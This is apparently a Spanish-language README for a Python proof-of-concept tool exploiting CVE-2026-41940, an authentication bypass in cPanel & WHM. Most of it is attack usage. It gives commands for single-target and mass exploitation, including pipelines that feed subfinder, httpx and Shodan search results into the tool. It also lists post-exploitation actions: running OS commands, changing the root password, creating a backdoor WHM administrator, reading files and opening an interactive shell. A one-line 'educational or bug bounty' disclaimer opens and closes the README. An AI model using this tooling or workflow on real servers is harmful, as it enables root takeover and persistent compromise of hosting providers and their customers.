yasouxken/cve-2026-41940-pocPoC en Python que explota CVE-2026-41940, un bypass de autenticación de cPanel & WHM que permite acceso no autenticado a WHM con privilegios de root, con comandos de escaneo y de shell para post-explotación.
⚠ Esta herramienta ha sido creada únicamente con fines educativos o de bug bounty. Queda estrictamente prohibido su uso no autorizado fuera de entornos controlados.
Una herramienta para explotar CVE-2026-41940, un bypass de autenticación crítico en cPanel & WHM (CVSS 10.0), que permite a atacantes no autenticados obtener acceso WHM a nivel root mediante la inyección de secuencias CRLF en archivos de sesión del lado del servidor a través del encabezado Authorization — sin necesidad de credenciales.
CVE-2026-41940, en términos generales, se explota mediante un fallo en la forma en que el sistema gestiona las sesiones de autenticación en cPanel/WHM. El ataque normalmente comienza con una petición normal a la interfaz de inicio de sesión, donde la aplicación inicializa prematuramente una sesión antes de validar completamente las credenciales del usuario. Debido al manejo inadecuado de la entrada relacionada con la sesión, ciertas estructuras de entrada manipuladas o inesperadas pueden alterar cómo el servidor almacena o interpreta los datos de la sesión.
| Versión | Vulnerable | Parcheada |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/yasouxken/CVE-2026-41940-PoC
cd CVE-2026-41940-PoC
# Windows
python cve.py
# MacOS/Linux
python3 cve.py
La herramienta espera que se especifique un dominio objetivo.
Modo de objetivo único:
python cve.py -u https://target1.com:2083
También puedes escanear desde el archivo target.txt (créalo):
python cve.py -l target.txt -t 50 -o result.json
Comandos disponibles:
python cve.py -u https://victim1.com:2083 # escaneo de objetivo único
python cve.py info -u https://victim1.com:2083 # Recupera información del sistema (versión, carga, uso de disco).
python cve.py host -u https://victim1.com:2083 # Recupera el nombre de host del servidor objetivo.
# Listar todas las cuentas del servidor
python cve.py list -u https://target.com:2087
# Comando del SO
python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python cve.py cmd -u https://target.com:2087 --cmd "ls /home"
# Obtener información del servidor (hostname, disco, host de MySQL)
python cve.py info -u https://target.com:2087
# Cambiar la contraseña de root
python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'
# Shell WHM interactiva
python cve.py shell -u https://target.com:2087
# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
httpx -silent -ports 2085,2086 -threads 50 | \
python cve.py scan -t 40 -o results.json
# Desde lista de alcance
cat scope.txt | \
httpx -silent -ports 2085,2086 -threads 100 | \
python cve.py scan -t 30 -o results.json
# Resultados de Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python cve.py -t 30 -o shodan_results.json
# Múltiples fuentes combinadas
{ subfinder -d victim.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python cve.py -t 20 --action list
Tras una ejecución exitosa, puedes abrir una shell WHM interactiva:
python cve.py shell -u
| Comando | Descripción |
|---|---|
id | Mostrar ID de usuario |
hostname | Obtener el nombre de host del servidor |
accounts | Listar todas las cuentas de usuario |
info | Carga, disco, host de MySQL, versión |
cat <path> | Leer el contenido de un archivo |
exec <cmd> | Ejecutar comando del SO |
newadmin <user> <pass> | Crear un administrador WHM backdoor |
passwd <pass> | Cambiar la contraseña de root |
l [path] | Listar directorio |
help | Mostrar todos los comandos |
exit | Salir del modo shell |
usage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT]
Target:
-u, --url URL URL de objetivo único (p. ej. https://host:2087)
-l, --list LIST Archivo con URLs (una por línea)
--hostname HOSTNAME Sobrescribir el encabezado Host canónico (autodescubierto)
Scan:
-t, --threads N Hilos concurrentes (por defecto: 10)
--timeout N Tiempo de espera de la petición en segundos (por defecto: 15)
--rate-limit N Retardo entre objetivos (por defecto: 0)
--force Omitir la comprobación de detección de cPanel
Post-Exploit:
--action ACTION Acción: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS Nueva contraseña de root (--action passwd)
--cmd CMD Comando del SO (--action cmd/exec)
--new-user USER Nuevo nombre de usuario de cPanel (--action adduser)
--new-domain DOMAIN Nuevo dominio de cPanel (--action adduser)
Output:
-o, --output FILE Guardar resultados en archivo JSON
--no-color Deshabilitar colores ANSI
⚠ Esta herramienta ha sido creada únicamente con fines educativos o de bug bounty. Queda estrictamente prohibido su uso no autorizado fuera de entornos controlados.